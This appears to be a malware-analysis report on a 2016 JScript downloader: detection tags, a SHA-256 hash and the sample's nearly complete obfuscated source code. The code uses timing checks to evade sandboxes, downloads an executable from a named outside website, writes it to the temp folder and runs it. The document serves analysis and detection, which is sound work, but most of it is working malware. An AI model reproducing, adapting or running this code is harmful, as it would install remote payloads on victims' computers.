20160328_d0c56e7bf2bdf81c52646477a00ba2d2.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256148d8205d91a81655791acfaf2aec22c8b2a56cd55ebb3c0e10b949350ffc799
Evidence
1var Nwfzyixp = false;
2var Nefxcflwex = "CreateObject";
3var Cmxvlrrr = function Vrzuyr() {return WScript[Nefxcflwex]("WScript.Shell");}();
4var Bznsrx = 123213;
5var Megkryubsn = "MSXML2.XMLHTTP";
6var Iyaqd = 2123213;
7var Qqhhh = 0;
8function Efrzwj(Ljyhgepkrk){Cmxvlrrr["Run"](Ljyhgepkrk, Qqhhh, Qqhhh);};
9function Kyuizinphf(){return Megkryubsn;};
10function Guwzev(Kdruucg, Sqeujytea){return Kdruucg - Sqeujytea;};
11function Kctqzul(){return Nefxcflwex;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Nwfzyixp = true;
15 @end
16@*/
17var Inrhkir = "";
18if (Nwfzyixp)
19{
20function Elqxnp(){return 22;};
21var Rqgqxgzd = 0; var Beaojlppy = 0;
22function Patyw()
23{
24var Dlcyixa = new this["Date"]();
25var Xsdakxp = Dlcyixa["getUTCMilliseconds"]();
26WScript["Sleep"](Elqxnp());
27var Dlcyixa = new this["Date"]();
28var Zfyjuwndw = Dlcyixa["getUTCMilliseconds"]();
29WScript["Sleep"](Elqxnp());
30var Dlcyixa = new this["Date"]();
31var Nndbh = Dlcyixa["getUTCMilliseconds"]();
32var Rqgqxgzd = "Poqaedtx";
33Rqgqxgzd = Guwzev(Zfyjuwndw, Xsdakxp);
34var Beaojlppy = "Lxewpxd";
35Beaojlppy = Guwzev(Nndbh, Zfyjuwndw);
36Inrhkir = "open";
37return Guwzev(Rqgqxgzd, Beaojlppy);
38}
39var Btyfcs = false;
40var Cgbru = false;
41for (var Rflgit = Qqhhh; Rflgit < Elqxnp() * 1; Rflgit++){if (Patyw() != Qqhhh){
42Btyfcs = true;
43Be …
49:6… tyfcs && Peayhrlodb() && Cgbru){
50function Avbhveduii() {return Cmxvlrrr["ExpandEnvironmentStrings"]("%TEMP%/") + "MywLI2i43fSH5rzm.exe";};
51 Vkkyrmgjd = Kyuizinphf();
52 Spfkaa = WScript[Nefxcflwex](Vkkyrmgjd);
53 var Zwnaug = 1;
54 while (Zwnaug){
55try {
56Spfkaa[Inrhkir]("GET", "http://foothillsofhemet.com/k4sifs", false);
57Spfkaa["send"]();
58Rhzjl = "Sleep";
59do {WScript[Rhzjl](Elqxnp() * 11)} while (Spfkaa["readystate"] < 4 );
60Zwnaug = Qqhhh;
61} catch(Lgfkghw){Zwnaug = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lrqryrao(Nicklcgfso) {var Phxuksp = (1, 2, 3, 4, 5, Nicklcgfso); return Phxuksp;};
64Gxikxbh = WScript[Kctqzul()]("ADODB.Stream");
65Vkkyrmgjd = Gxikxbh;
66Vkkyrmgjd[Inrhkir]();
67Vkkyrmgjd["type"] = Lrqryrao(1);
68Vkkyrmgjd["write"](Spfkaa["ResponseBody"]);
69Gxikxbh["position"] = Lrqryrao(Qqhhh);
70Vkkyrmgjd["SaveToFile"](Avbhveduii(), Lrqryrao(2) );
71Gxikxbh["close"]();
72Efrzwj(Avbhveduii());
73}
74}
75